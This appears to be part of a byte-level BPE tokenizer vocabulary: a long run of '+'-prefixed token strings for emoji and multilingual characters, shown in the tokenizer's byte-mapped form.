+ðĿĺ¸ +ðĿĻĢ +ðĿĽ¾ +ðĿľı +ðŁĮģ +ðŁĮľ +ðŁĮ¥ +ðŁĮ¯ +ðŁįIJ +ðŁİĴ +ðŁıĶ +ðŁıķ +ðŁı® +ðŁIJĤ +ðŁIJī +ðŁIJ¹ +ðŁĶķ +ðŁĶļ +ðŁķij +ðŁķ£ +ðŁĹŀ +ðŁĹ¡ +ðŁĹ¿ +ðŁļĨ +ðŁļĬ +ðŁļĵ +ðŁļķ +ðŁļ¾ +ðŁĽģ +ðŁĽİ +ðŁĽı +ðŁ¤´ +ðŁ¥ķ +ðŁ¥ĸ +ðŁ¥ł +ðŁ¥¥ +ð٦Ĩ +ð٦ī +ð٦ļ +ð٧ij +ðŁ§¥ +ðŁ§¿ +Ű +ƺ +ɧ +àªĩ +ண +áĪĪ +áĬ¤ +áĭ® +áĮĪ +áĮµ +ᥲ +âĵŁ +êϳ +ê°Ĭ +ëķģ +ëķ¨ +ìĬģ +例 +גּ +ðĿĸį +ðĿĺĮ +ðĿĺ³ +ðĿĻ© +ðŁįĻ +ðŁĸĸ +áī³ +áĭ¨ +áĸĩ +áŀĮ +á¹§ +âķª +âŀļ +â²ĺ +êķ +êķ¥ +路 +ﮣ +ï¯ł +ðĿĴĸ +ðĿķĺ +ðĿĸĩ +ðĿĹŁ +ðĿĹª +ðĿĹ¯ +ðĿĻł +ðŁĵı +à¦Ĺ +âĴ» +â²ł +ðĿĵµ +Ê£ +à°ľ +áĬ¢ +áŀIJ +ḷ +âĦĽ +âĩĢ +âĩĬ +êĴ¦ +ê¦ł +ﮤ +ðŁįĽ +ðŁ¤Ľ +ᨾ +âŀº +áķ¯ +áĽı +âĩĤ +â͹ +âĻĹ +ðŁĸ¨ +ê¦ı +ર +áļ¨ +ðŁ¤¥ +ðŁ§¢ +ãIJĤ +ãĦ¥ +ðŁĸĮ +â¼Ĵ +ãĬ§ +âį© +ð٦ij +âĶ· +ï©IJ +ï©¡ +ðĵĪ +ðĵĪĴ +â»Ħ +ï¨Ĵ +âĦª +Ò§ +ÚĮ +â̶ +âºł +â»ģ +âĨ¸ +áĦIJ +ãħIJ +à»Ħ +áĹª +âĨ¼ +âĩĭ +âĩĺ +âĮij +âĸ© +ðĿIJĹ +ÄĬ +à¦ī +ìīł +ɤ +ßį +ßı +áµĹ +âĤ¥ +âĵī +âĶł +â͍ +âķĦ +ä¤ +ä¤Ģ +껸 +ï®ģ +ðĵĤ +ðĵĤĥ +ð٦ķ +ÆĽ +à¦ĩ +ãıĺ +﮼ +Úĵ +ÚĿ +à¦ĵ +ද +á´ħ +á½Ļ +âģ¼ +âĸİ +⼩ +äĶ +äĶĢ +뻡 +ìĽ½ +íģĦ +良 +ï±ī +ï¹» +ðĿĸĭ +ðĿĻĪ +ðĿĻª +ðĿ϶ +ðŁIJĦ +ðŁIJĨ +áİ¢ +á¸Į +âĿ´ +ðŁı¸ +ÈĿ +ɸ +Îħ +Ïľ +Ó¢ +Õ¹ +à´ħ +àºĪ +áĭ° +áijİ +áłµ +á¡ł +á´ī +ḵ +á¿´ +âĵ£ +âͶ +⽯ +ê²¥ +ê¿ĺ +ëģİ +ëİĪ +ë͝ +ë²° +ìĺ¯ +ìĽ¸ +ìŀĹ +ì§ĺ +쬬 +ì·¬ +íģħ +íĵĶ +íĽĿ +冷 +魯 +沈 +ï¯ĸ +ðĿĵħ +ðĿĻĦ +ðŁĵ¶ +ðŁĹĴ +ðŁ¥Ķ +ðŁ¥Ń +Å® +Å´ +Æī +Æ« +Çģ +Ç£ +Ǻ +Ǽ +Èį +ȯ +Éľ +ʬ +Ëģ +ˤ +˵ +ÏĽ +Ò¤ +Ò¬ +Óı +ÓĽ +Ó¡ +Ó³ +ÔĮ +Ô¬ +Õ³ +Ù» +Úī +Ú§ +Üľ +ߪ +à¤Ŀ +à¦Ľ +à¨Ĩ +àªķ +ડ +à®İ +à°¬ +ൻ +ർ +à¶ł +à¶Ń +à¶¶ +à·Ĩ +༽ +áĢļ +áħ¢ +áĨ¸ +áĪĢ +áĪķ +áΰ +áī¡ +áī¤ +áĬ¦ +áĬ« +áĭĭ +áĭį +áݯ +áijŃ +áķĹ +᣼ +á¥Ĵ +á©ī +áŃº +á´¡ +áµĺ +ᵼ +á¶ł +á¸ģ +á¸ĭ +á¹Ļ +á¹Ŀ +Ṧ +áºħ +á¼Ĥ +á½ĥ +á½į +á½§ +á¾· +â̵ +âĤİ +âĦĿ +âħĢ +âĨŀ +âĨ§ +âĩħ +âĪĥ +âīı +âī½ +âĬŀ +âĬ¡ +âĬ§ +âĬ¶ +âĭĦ +âİĴ +âİ¡ +âİ£ +âݪ +âıİ +âĵĥ +âĵĸ +âĵ¨ +âķĭ +âķĸ +âķ¢ +âķ² +âĸĨ +âĸĬ +âĸį +âĸ® +âĺ¡ +âĺ¦ +âĺ± +âĺ¿ +âĻĺ +âĻĿ +âļ° +âĽij +âŀª +â¤Ŀ +⤢ +⤷ +â§« +â¨Ń +⨯ +â±£ +â²İ +⵼ +ãħĶ +ãĪı +ãī² +ãī³ +ãĬij +ãĭĽ +ãİIJ +겤 +ê·¿ +ê¹ŀ +껨 +ê¼į +꿸 +ëĥ¬ +ëĩIJ +ëĭł +ëᝠ+ëĹĮ +ëĹij +ë¥Ģ +ëªĥ +몯 +뱡 +ë³ĵ +ë³½ +뵾 +ìĤ³ +ìħ¥ +ìĩ½ +ìı¨ +ìı¸ +ìķį +ìĸĸ +ìŁ¨ +ì¢ĥ +ì¢į +ì¥ij +ì§¼ +ì©ĥ +ì®ľ +쮸 +ì³ij +ì´¥ +ì¾ĥ +íħ¦ +íĪ¿ +íĵ½ +íķ³ +íĸı +íĹł +íĿ« +ï¤ĵ +ï¤ĺ +ï¥İ +略 +ï¦ħ +尿 +ï§ĩ +ï¬Ĩ +דּ +ï®ĩ +ï®Ī +ï®Ŀ +ﮩ +ï®± +ï¯ĺ +ï¯Ļ +ﯢ +ﯣ +ﯤ +ﯥ +ï±Ĥ +ï²Ĩ +ﲪ +ï´¼ +ïºī +ïºĬ +ﺥ +ðĿij¨ +ðĿij© +ðĿij² +ðĿĴĮ +ðĿĴª +ðĿĴ® +ðĿĵĤ +ðĿĵĪ +ðĿĵ¯ +ðĿ͍ +ðĿķĢ +ðĿķĨ +ðĿķ¦ +ðĿķ§ +ðĿķ« +ðĿķ· +ðĿŵ +ðĿŸ +ðĿĺĦ +ðĿĺĻ +ðĿĺł +ðĿĺ¬ +ðĿĻį +ðĿĻij +ðĿĻ¡ +ðĿύ +ðĿĻ· +ðĿļį +ðĿĽ¿ +ðŁĥ +ðŁĥı +ðŁħĺ +ðŁī +ðŁīij +ðŁİ¡ +ðŁİª +ðŁİ± +ðŁİ³ +ðŁİº +ðŁıİ +ðŁıĹ +ðŁıļ +ðŁıŀ +ðŁı¦ +ðŁı§ +ðŁIJģ +ðŁIJħ +ðŁIJĵ +ðŁĴĤ +ðŁĵij +ðŁĵĵ +ðŁĵ¨ +ðŁĵ« +ðŁĶĭ +ðŁĶŃ +ðŁĶ¯ +ðŁķĹ +ðŁļĤ +ðŁļ¢ +ðŁļ¦ +ðŁļ¬ +ðŁĽĭ +ðŁĽĮ +ðŁĽ¬ +ðŁĽ¶ +ðŁŁ¡ +ðŁ¥ĺ +ðŁ¥Ł +ðŁ¥¦ +ð٦ĩ +ð٦Π+ð٧Ĭ +ðŁ§Ĺ +ðŁ§¤ +Ê· +˹ +á¹ļ +á½¥ +âĦŁ +겯 +껫 +ë°· +ìĥĨ +ìĽĿ +ì¨ī +ì«ı +ï¯ķ +ðĿľĭ +ɲ +ÒŃ +ÓĪ +à½Ľ +áĭĵ +áĻŃ +áł© +á¹® +âĦĴ +âĨ» +âµĥ +ë̍ +ëł§ +ìī¥ +ìĮľ +ìŶ +ì¨Ī +쪾 +íı½ +íļĶ +íĽµ +露 +ï¦IJ +ï§Ĺ +ï§ļ +אָ +ðĿIJĬ +ðĿķĹ +ðĿĹļ +ðĿļĸ +ðŁħ´ +Èĥ +ÉĿ +ϱ +ÓĹ +ढ +áħł +áī¦ +áijĮ +áĴ¼ +áŀ¡ +᳨ +áłŃ +á¨ħ +á¨Ķ +á´ĺ +ᶦ +á¸İ +á¼ħ +á¼¹ +âĨ¯ +âĵİ +ãıĮ +êī +êīĤ +ëĨ§ +ëĿ± +좡 +íν +ï¤ĩ +ï¤Ľ +ðĿIJķ +ðĿĵ¸ +ðĿĵ¼ +ðĿĹķ +ðĿĺĪ +ðŁı£ +ðŁı¤ +ðŁĹĦ +Ñ· +Òł +áµĸ +Ἠ +ë¬Ħ +ï°´ +âν +ÕŃ +Ú¹ +à¥Ł +áĢĨ +áŀĴ +ã̶ +ꦫ +ï¸ĵ +ðĿIJĽ +ðĿĺĹ +ðŁıľ +ì«Ń +ð٧ŀ +à½Ĥ +âĨ¿ +âĩı +âĵģ +âͧ +âķģ +âķ¤ +ê¦Ĺ +ꦤ +ðŁıĪ +áŀķ +Ô½ +àªĹ +à¬Ĩ +âķķ +ï½ł +⼦ +⼯ +â¾· +âĶĸ +à¬ĵ +âĺĹ +âįĭ +ï¨Ŀ +â¼¥ +寧 +âĦĬ +ãĢ´ +âᢠ+ð¡Ī +ð¡Ī½ +難 +ãĢ» +ãıĥ +說 +ï¨ĺ +ðŁIJĥ +ðŁĨĸ +ðŁĹ¾ +ãĦĩ +Þĭ +â¼¼ +ï¨Ń +ÞĢ +ÞĦ +ÞĪ +ÞIJ +âĮĦ +â»ĺ +ãŁ¢ +áħ§ +ðIJĮ¿ +Ë» +à²Ĺ +áĢĩ +áŀĬ +âķĩ +ãĩ¼ +ãݰ +ÕĴ +ÜĪ +ߥ +à¿IJ +áĢŁ +âĨ¥ +âķĮ +â½Ģ +â½° +â¾Ĭ +äĦ +äĦĢ +ðĵIJ +ðĵIJį +ðŁİ¦ +âĤ¯ +âĬĺ +âĦį +ʵ +Ѷ +Úĥ +à¦Ķ +à´¦ +áݶ +áĵķ +Ṩ +âĤł +âĩ° +âĹĴ +â¿Ĭ +ê·± +ì¹ķ +íĪ© +ïŃĢ +ðĿĴ¸ +ðĿĵĬ +ðĿĺ© +Ǧ +É« +áĬ¨ +ȹ +ʯ +Ϊ +ÚĢ +áĮ¸ +áİ» +áıķ +áı´ +á²Ĥ +Ὠ +âıĿ +âĺĻ +ëĥ¨ +ëĦ¼ +ëĪĻ +ë£ħ +ìͼ +ìķĿ +ìļ¬ +ìľ± +ï¥Ĥ +惡 +יּ +ïŃģ +ï³Ī +ðĿĶħ +ðĿĺ¤ +ðĿĻı +ðĿĻĻ +ðŁķī +ðŁ§Ļ +á¸ij +ê´¼ +ëģį +ëĹ´ +ëĿ³ +ë°ŀ +ë°¢ +ëµĺ +ìĤĶ +ìĦĦ +ì¼ļ +íĢł +íĬ± +íĮĸ +ï¤ij +領 +隸 +ï´į +ðĿĺ· +Ĭ +Ŭ +ÆĢ +Æĭ +Æľ +Çij +Çĺ +Çŀ +Ç¥ +Ç® +ɰ +ɶ +É· +ɽ +ÊĪ +ÊIJ +Ëİ +ËŁ +˦ +˯ +ÏIJ +Ïĵ +Ï¢ +Ϥ +Ϫ +ÏŃ +Ï® +Ï» +Ñł +ÑŃ +Ò¨ +ÓĿ +Ô¡ +Ô· +Õī +Õĵ +Õĸ +Õļ +ÕĿ +Öİ +Ø¿ +Úħ +Úį +ÚĶ +ÛĬ +Û¾ +ÜĻ +ÝĴ +Ýĺ +ßĴ +ßĸ +à¤Ĭ +à¤IJ +à¦ı +à¦ĸ +à§Ł +મ +હ +à®ħ +à®Ĩ +à°¡ +à°° +à²ļ +ಮ +ಯ +à´Ł +à´· +ൾ +à¶ij +à¶ŀ +༼ +à½ĵ +áĢĵ +áĤ¦ +áĥĸ +áĥŃ +áĥ¯ +áħ¨ +áħª +áĨ° +áĪģ +áĪİ +áĪĵ +áĪ¥ +áβ +áĪ´ +áĪ» +áīł +áī² +áī¶ +áĬ£ +áĬ¥ +áĬª +áĭĺ +áĭ² +áĭ¶ +áĮ£ +áį¡ +áᣠ+áݬ +áݾ +áIJ¡ +áķķ +áĸ± +áĹIJ +áĹŃ +áĺī +áļ± +ἣ +áŀ¥ +áŁĶ +áł£ +áłª +áł° +áł´ +á¤ĸ +ᥣ +á® +᮳ +ᯠ+á¯Ļ +á° +á°į +á´Ĭ +á´¾ +áµģ +áµİ +áµŀ +ᵤ +á¶ħ +á¶ĺ +á¶Ł +á¶¢ +ᶤ +á¶± +á¶» +á¸ī +á¸ŀ +Ḻ +á¹ĵ +á¹Ĺ +Ṫ +áºĬ +áºı +áºĽ +á¼ĥ +á¼Į +Ἷ +á½Ĥ +á½ĵ +á½Ĺ +ὦ +á¾± +á¾´ +á¿ĺ +á¿Ł +Ὸ +âģĺ +âĤij +âĤĽ +âĤ¿ +âĦĩ +âĦŀ +âĦ± +âĩŁ +âĩ² +âΤ +âζ +âīĤ +âī¾ +âĬ¨ +âĬ³ +âĬ· +âĭĮ +âĭĺ +âĮķ +âĮ¥ +âĮµ +âĮº +âᣠ+âį² +âįµ +âİĩ +âıĥ +âıIJ +âıł +âı¤ +âı¶ +âı¸ +âı¹ +âijĤ +âĴ· +âĴº +âĵ¡ +âĵ¤ +â; +âĸĺ +âĸµ +âĹª +âĹ· +âĺ¨ +âĺ« +âĺ² +âĺ³ +âĻĨ +âļ¤ +âļ¥ +âĽĵ +⼴ +âĽ¾ +âŀ« +âŀ¿ +⣷ +â¤ij +⤫ +⤶ +⤽ +⧪ +â¨Ģ +⩽ +⬡ +⬢ +⬤ +â²ĸ +Ⲫ +âµĢ +⸮ +⸽ +ãĢł +ãĢ· +ãĦĮ +ãĦĺ +ãħij +ãĪİ +ãĪIJ +ãĬľ +ãĮĵ +ãĮł +ãİŁ +ãݤ +ãݧ +㬮 +äĪ +äĪĢ +ä° +ä°Ģ +êħ +êħī +êĩĹ +êĪ +êĪį +ê§Ĥ +ê§Ĭ +êªĢ +ê²Ī +ê²į +ê³Ģ +êµł +ê½IJ +ê¾Ī +꿱 +ëĥı +ëĦij +ëħ¤ +ëĩ¸ +ëμ +ëīħ +ëĬ£ +ëĭº +ëįŀ +ëIJĮ +ëķ¸ +ëĺł +ëĻĩ +ëĻĪ +ëľ½ +ëŀĶ +ëłľ +ë£IJ +ë§Ģ +ë§Ĭ +ëªĢ +ë¬Ń +믾 +ë³ľ +ë´Ĭ +ëµī +ë·ľ +ë¸Ģ +ë¹ĭ +ìģĦ +ìĤ£ +ìĤ» +ìĦµ +ìħĴ +ìīĪ +ìīĶ +ìĬĮ +ìĬĻ +ìIJ´ +ìĵº +ìķļ +ìķº +ìĸľ +ìĹª +ìĺľ +ìϤ +ìļĽ +ìļº +ìĿħ +ìĿı +ìĿŃ +ìĿ¶ +ìłĽ +ì¡Ī +ì¢ī +ì¢Ķ +ì©ł +ìŃĮ +쯩 +ì´£ +ì¸ķ +ì¹Ł +쾡 +ì¿Ļ +íģĩ +íģī +íĩĢ +íζ +íĸij +íĸ¤ +íĹħ +íľı +íĿĿ +ï¤Ĵ +ï¤ķ +郎 +ï¥ħ +ï¥ĩ +ï¥ı +ï¥ļ +ï¥Ł +ï¦Ħ +ï¦Ī +令 +囹 +零 +ï§ģ +ï§ĥ +ï§Ķ +ï§ł +ï§£ +ï§® +ïŃIJ +ïŃĸ +ïѦ +ïŃ´ +ïѵ +ïѶ +ïѸ +ï®Į +ï®İ +ï®ŀ +ï®Ł +ﮡ +ﮪ +ï¯Ķ +ï¯Ĺ +ï¯ļ +ï¯Ľ +ï¯Ŀ +ï¯Ł +ﯧ +ﯨ +ﯫ +ﯯ +ﯰ +ﯱ +ﯲ +ﯳ +ﯴ +ﯵ +ﯶ +ï°Ģ +ï±ħ +ï±Ķ +ï±´ +ï²ģ +ï³ķ +ï·½ +ï¸ķ +︱ +ï¹£ +ï¹½ +ï»į +ï¾± +ðĿIJĻ +ðĿIJ½ +ðĿij¤ +ðĿij® +ðĿijµ +ðĿĴĥ +ðĿĴĦ +ðĿĵŃ +ðĿĵ· +ðĿĶĸ +ðĿĶŀ +ðĿĶ¢ +ðĿͦ +ðĿͬ +ðĿķĦ +ðĿķĬ +ðĿķİ +ðĿķĻ +ðĿķľ +ðĿķŃ +ðĿķ³ +ðĿķ¸ +ðĿķ¾ +ðĿĸī +ðĿĸı +ðĿĺĩ +ðĿĺī +ðĿĺĸ +ðĿĺĽ +ðĿĺŀ +ðĿĺ« +ðĿĺ¾ +ðĿĻĩ +ðĿĻī +ðĿĻĭ +ðĿĻİ +ðĿĻĺ +ðĿĻ¥ +ðĿļĥ +ðĿļIJ +ðĿļĶ +ðĿľĥ +ðŁĦ· +ðŁħĿ +ðŁħ¾ +ðŁĨĤ +ðŁĨĵ +ðŁĮĤ +ðŁĮĨ +ðŁĮī +ðŁĮij +ðŁĮĺ +ðŁĮ© +ðŁĮ« +ðŁį¢ +ðŁį¥ +ðŁİĽ +ðŁİ¢ +ðŁİ´ +ðŁij¡ +ðŁĴ¾ +ðŁĵŃ +ðŁĶĪ +ðŁĶ¦ +ðŁĶ² +ðŁĶ³ +ðŁķĵ +ðŁķķ +ðŁķĺ +ðŁķŁ +ðŁķ· +ðŁĹ³ +ðŁļĦ +ðŁļĶ +ðŁļĸ +ðŁĽIJ +ðŁĽ¤ +ðŁĽ¸ +ðŁł +ðŁł³ +ðŁ¤¹ +ðŁ¥ĥ +ðŁ¥¨ +ðŁ¥ª +ðŁ¥¾ +ð٦ĥ +ð٦Ĵ +ðŁ¦Ļ +ðŁ¦¶ +ðŁ§ł +ðŁ§ª +ðŁ§Ń +ðŁ§² +𣷠+ð£·Ń +ð¦ĺ +ð¦ĺĴ +Æij +ÇĻ +È® +Øł +ÚĦ +ÜĢ +ߢ +áīĢ +áĬIJ +áİł +áºŀ +ëĪŀ +ëķŁ +ë£ģ +ë¤Ĺ +ìĦ¥ +ìħij +ìĸIJ +ìĽĽ +ì£ķ +íİı +íĽĵ +梁 +ï³Ľ +ï´« +ðĸ§ +ðĸ§· +ðĿķģ +ðŁIJª +ðŁĴĪ +ðŁĵł +ðŁķĽ +ðŁķ´ +ÑĿ +ÓĬ +ॲ +પ +áĥ¤ +áįIJ +á¶° +á¼Ŀ +Ὡ +âĭĭ +âĴ½ +âϾ +â½Ķ +⾯ +ãĦĴ +ãħļ +ëIJį +ë·ģ +ìĭĢ +ìļĿ +쥰 +캴 +íĭī +íĿ½ +ï¦Ģ +樂 +ï§ħ +ï§ĵ +ïѝ +ï®Ĩ +ðIJ¤ķ +ðĿIJŁ +ðĿĴħ +ðĿĵľ +ðĿͰ +ðĿĶ» +ðĿĺį +ðĿϝ +ðŁĦ½ +ðŁħĤ +ðŁħĶ +ðŁħ½ +ðŁĵ´ +ð٧ĸ +ÓĴ +Ḳ +ëī¼ +Çı +Èĵ +ʸ +ÕĤ +Ûħ +ß¡ +ߣ +ய +à°Ī +ಸ +ຮ +à¼ķ +áĢİ +áĨ¡ +áIJĭ +áIJķ +áij¯ +áŀĨ +á¨ķ +á©Ī +âģħ +âĨļ +âĶİ +âł© +â²Ĥ +â²Ķ +Ⲩ +ãĬļ +íĵ² +ðĿijĪ +ðĿij¬ +ðĿij¹ +ðĿĴ¾ +ðĿĵ± +ðĿĵ½ +ðĿķ¯ +ðĿķ» +ðĿĺ½ +ðĿļĨ +ðŁĦ° +ðŁIJ¨ +Òķ +à²ħ +ï¨Ĩ +ðĿij° +ðŁĦ¸ +Ôİ +Øį +Ùµ +ಶ +áĢĪ +áĺĹ +᳸ +á¡¡ +ᨲ +á©ģ +á´· +áµ§ +âķ¨ +âļģ +â¾Ŀ +ã̼ +ãĦı +êĴ« +ꦥ +ꦩ +ꦲ +ìĺ¼ +íĵIJ +ðĵĩ +ðĵĩ¼ +ðĿķ¿ +ðŁĽ´ +먾 +ವ +à´İ +à¼Ģ +âĩĸ +ãĪ« +âĵĢ +áħ´ +áļ¾ +áĽŀ +Ἣ +ᥴ +âĨĽ +âĨ¶ +âĩ¤ +âķŁ +âĺ· +âļIJ +ðŁ§´ +á¹³ +âĶį +âĶĴ +âĶ© +âͦ +â¾µ +àªľ +ત +âĩĻ +âͱ +âķĢ +â½Ĭ +ï½Ł +ଡ +ðł® +ðł®· +âķĥ +â°Ķ +ãĬ¦ +ðŁİIJ +ãĩ° +â¼Ŀ +â¾Ķ +â½Ĵ +âłĴ +都 +ï©Ĵ +免 +ï©ĸ +ðĵı¸ +ãĮĥ +ðĸ¤ +ðĸ¤IJ +ï¦Ń +âĬħ +â¾³ +ä´¥ +ï©ķ +ðŁĮĶ +áŀĭ +âļį +â¼ĭ +ãİĺ +ðIJĮ² +É© +áİij +âĨ® +âĩĥ +âļİ +ãĩ± +ãĭ© +ãĮ¶ +êĻª +ëݬ +ï¨IJ +ï¨Ľ +ï©Ĭ +ï©į +ðĵħ +ðĵħº +Ï¡ +Èij +ÉĤ +Ôĵ +ßİ +à´§ +áĢī +áĢĭ +áĢij +áĢł +áļĻ +á¨Ħ +ᨩ +ᨹ +á©ĵ +ᬾ +á´Ļ +áµij +âĤŃ +âĨ° +âľģ +â½IJ +ãĭ¯ +ãĮ½ +íĨ¢ +錄 +ðŁĤ +ðŁĤ» +ÈĴ +ͺ +Ô¥ +Õij +Ú¶ +à§İ +à¶® +àºĸ +àºľ +ຽ +áĥ» +áħ¯ +áĭŀ +áĸķ +á´Ī +á¶Ĩ +Ḿ +á¹¼ +Ῠ +âĦĭ +âĦŃ +âα +âĮĵ +âĶĩ +âĶ¢ +â±® +â²Ħ +ãĩ¾ +ãά +븡 +ìIJī +íĻĽ +ðĿķª +ƹ +Ͳ +Óģ +Û¼ +ফ +áħŁ +áīĨ +áįĪ +áºĸ +á½ī +â͏ +⽩ +êľ +êľ¥ +êµħ +ëĤĶ +ëĦł +ëĩĹ +ëĻĿ +ìļ¯ +ìļ· +ìŁĽ +ì·IJ +íŁ¬ +íŁ® +íŁ° +ï¦Ĩ +鈴 +ï²ŀ +ﳤ +ï³¥ +ðIJĮ¸ +ðĿĶı +ðĿķ® +ðĿĺ£ +à¦Ī +âıı +ãĦĸ +ê²ĩ +ëĸĺ +ëľ· +ëŀĴ +ë¡ĵ +ë¢ī +ë£ĥ +ë§ĭ +ë²ĭ +ìĤ· +ìĪķ +ìĮ¨ +ìĵ» +ìĸĬ +ìϬ +ìĿ» +ì¦ģ +쵤 +ì·ĥ +íĢľ +íħī +íįł +íıħ +íij± +íķķ +íĸł +íĿķ +ÆĻ +Æļ +Æŀ +Çĥ +ÇĬ +Çľ +Ǥ +ÇŃ +ǹ +ÈĢ +Èģ +Èħ +Èī +ÈĹ +ÈŁ +Ȥ +È¥ +Ȩ +ȵ +Ⱥ +È» +ÉĮ +É® +Êħ +Ê¥ +ʨ +Ëĵ +ËĶ +Ëł +Ë£ +˸ +Í´ +ÏĹ +Ïĺ +ÏĻ +Ïļ +ÏĿ +Ϩ +Ϭ +Ͼ +Ï¿ +Ѫ +ÒĢ +Òľ +Ò¼ +Ò½ +ÓĤ +Óħ +Óĩ +Óį +Óĸ +ÓŁ +Ó« +Ó± +ÔĨ +Ôĩ +Ôº +Õĭ +Öī +ØĪ +ØĬ +ؽ +ؾ +Ù· +ÚĤ +ÚĬ +Úĸ +ÚĹ +Ú£ +Ú« +Ú¸ +ÛĢ +Ûį +Û½ +Üī +ܤ +ݧ +Ý´ +Þĥ +Þ¤ +Þ¥ +ßļ +߼ +ߤ +àłį +àłĵ +àł³ +à¡¢ +à¥ł +à§ł +৺ +à¨Ĭ +à¨IJ +ਮ +ਯ +ਰ +ਸ +àªĨ +ળ +વ +ઽ +à¬Į +à¬ĺ +ଽ +à®ĥ +ஸ +à°Ĩ +à°ķ +à°¦ +à²Ĩ +à²Ĭ +à²Į +à²IJ +à²Ľ +ತ +ದ +ಪ +ಲ +ಹ +à´Ĩ +à´ı +à´Ĺ +à´« +à´¹ +ൺ +ൽ +à¶ħ +à¶Ĭ +à¶Ķ +à¶§ +à¶« +à¶° +à¼Ħ +à¼ħ +à¼Ĭ +à½Ļ +ཡ +ཧ +à¿Ģ +à¿Ļ +áĢĿ +á̧ +áĢ© +áĢ¿ +áģµ +áĤģ +áĤ½ +áĥĤ +áĥª +áĦĬ +áĦ¢ +áħ¦ +áħŃ +áĨ® +áĨ± +áĨ» +áĩ +áĩĤ +áĪħ +áĪī +áĪĮ +áĪIJ +áĪĴ +áĪĻ +áĪļ +áĪľ +áĪŀ +áĪ© +áγ +áĪº +áν +áīħ +áī¢ +áī± +áī´ +áĬĥ +áĬį +áĬĸ +áĬ® +áĬ¸ +áĭĽ +áĭĿ +áĭ³ +áĮģ +áĮħ +áĮ¥ +áĮ¦ +áĮ¨ +áįĬ +áįį +áįķ +áįĸ +áᢠ+áᤠ+áİĴ +áݪ +áıģ +áıIJ +áıŁ +áIJĤ +áIJĸ +áIJĿ +áIJŀ +áIJŁ +áIJł +áijĸ +áĴĭ +áĴį +áĴ¡ +áĵ« +áĶķ +áķĭ +áķij +áķĻ +áķļ +áķĽ +áķ¤ +áķ¦ +áķ® +áķ¼ +áĸĵ +áĹĹ +áĹ¢ +áĹ¯ +áĹ· +áĺĦ +áĺij +áĽĤ +áĽĻ +áŀį +áłĨ +áł¡ +᳦ +áł® +áł¯ +áł² +áł· +á¡į +á¡ŀ +ᡤ +á¡´ +ᡵ +á¤ĵ +á¥ĸ +ᥰ +ᨦ +ᨧ +ᨨ +ᨪ +ᨬ +ᨯ +ᨳ +ᨵ +á©ĥ +á¬ķ +áŃ£ +á± +á±ļ +á²ł +á´ĵ +á´¶ +áµĤ +áµĮ +áµ¥ +áµ´ +á¶ĩ +á¸Ī +ḳ +ḧ +Ḵ +Ḿ +á¹Ģ +á¹ĸ +á¹Ł +á¹ł +ṫ +á¹± +á¹· +ṿ +áºĦ +áºį +áºij +áºĹ +á¼ī +á¼ĵ +á¼Ń +á½ĭ +á½Ĵ +á½ł +á½£ +á¾Ħ +á¾ı +á¾ij +á¾Ĺ +ᾦ +á¾§ +á¾¾ +á¿Ħ +á¿ĵ +á¿¡ +Ῥ +âģļ +âĤĮ +âĦģ +âĦĶ +âĦ£ +âĦ§ +âĦ¯ +âĦ° +âĦ´ +âħħ +âĨľ +âĨ« +âĨŃ +âĨ± +âĨ¹ +âĨ½ +âĩĩ +âĩľ +âĩµ +âĪī +âĪĬ +âĪĸ +âĪľ +âξ +âīĢ +âīĭ +âīĮ +âīĵ +âīľ +âī´ +âī¿ +âĬĬ +âĬĭ +âĬĶ +âĬĸ +âĬ£ +âĬ¦ +âĭİ +âĭª +âĭ² +âĮ¦ +âĮ§ +âįº +âİĪ +âݨ +âݬ +âݳ +âݼ +âݾ +âıĮ +âıļ +âı« +âı¯ +âıµ +âĴľ +âĴĿ +âĴ« +âĵĦ +âĵĬ +âĵĻ +âĵ© +âĶij +âĶĻ +âĶļ +âĶ¥ +âķħ +âķī +âķį +âķı +âķŀ +âĸļ +âĸ¯ +âĹĥ +âĹļ +âŬ +âĹ´ +âĺĪ +âĺ¤ +âĺ¥ +âĺ§ +âĺ¬ +âĻģ +âϱ +âļĥ +âļĦ +âļħ +âļı +âļļ +âļŀ +âļŁ +âļ± +âļ² +âľĢ +⾣ +âľ¢ +âĿµ +âŁ¡ +⣦ +⣧ +âŁ³ +âŁ¾ +âŁ¿ +âłĩ +â¤Ħ +⤺ +â¥Ĥ +⥹ +â§ī +â§¼ +â§½ +â¨į +â¬Ĭ +⬣ +âŃŀ +â®ŀ +⮳ +â¯Ī +â¯ij +ⱳ +â±± +â²Ń +â´¹ +âµķ +⸾ +⺫ +â¼Ĩ +â¼ł +â½Ł +â½¼ +â¾Ľ +â¾§ +â¿ĥ +â¿» +ãĤķ +ãĤŁ +ãĦĽ +ãĦ¡ +ãĦ¶ +ãĦº +ãħĴ +ãħŁ +ãĨĢ +ãĩ» +ãĪij +ãĪŃ +ãĪ® +ãγ +ãι +ãī¥ +ãī¦ +ãī¹ +ãī¿ +ãĬŀ +ãĬ¨ +ãĭij +ãĭ¥ +ãĭ´ +ãĭº +ãİĦ +ãİķ +ãݯ +ãıĤ +ãıĪ +ãıĵ +ãıĸ +ãı± +ãIJ± +ãŁģ +㢠+㢨 +㨠+㨳 +㫪 +ã«´ +ã¶³ +㺾 +äĢ +äĢĢ +äĭ +äĭĮ +äĮĢ +äIJĢ +äłĢ +äł +äł¼ +ä§ +ä§ŀ +䨰 +䨺 +ä´Ģ +ä· +ä·ħ +ä·¸ +êĤ +êĤ« +êĮ +êĮ¼ +êį +êį² +êĴµ +êĵ +êĵ½ +êĻŃ +êĿĽ +êĿ¥ +êŀ +êŀĬ +ê¦Ĩ +ê¦ĩ +ê¦Ł +ꦨ +ê§Ī +ê© +ê©Ł +êªĭ +êªij +êªķ +êªĹ +êªľ +ꪮ +ꪱ +ꪻ +ꪼ +ê«Ģ +ê«Ŀ +ê°ĥ +ê°ĺ +ê±ľ +ê²ĵ +ê²ļ +ê³Ļ +ê³¾ +ê´Ĺ +ê´Ļ +êµĽ +ê¶ĥ +ê¶ķ +궨 +긩 +긿 +ê¹Ħ +ê¹Ĩ +ê¹ī +ê¹ĵ +ê¹¢ +ê¹£ +깸 +꺳 +ê¿ı +ê¿ķ +ê¿§ +ëĢ© +ëģħ +ëĥµ +ëĦĸ +ëĦĹ +ëĦ¢ +ëħĤ +ëĨIJ +ëĩľ +ëĪĭ +ëĪļ +ëīį +ëī¨ +ëĬļ +ëĬ¡ +ëĭľ +ëĭª +ëĮĺ +ëĮ¤ +ëĮ¸ +ëİŁ +ëı¨ +ëIJĦ +ëIJı +ëIJ´ +ëIJ¸ +ëijģ +ëij¿ +ëĴ¨ +ëĵ· +ëĶ® +ëͲ +ëķ§ 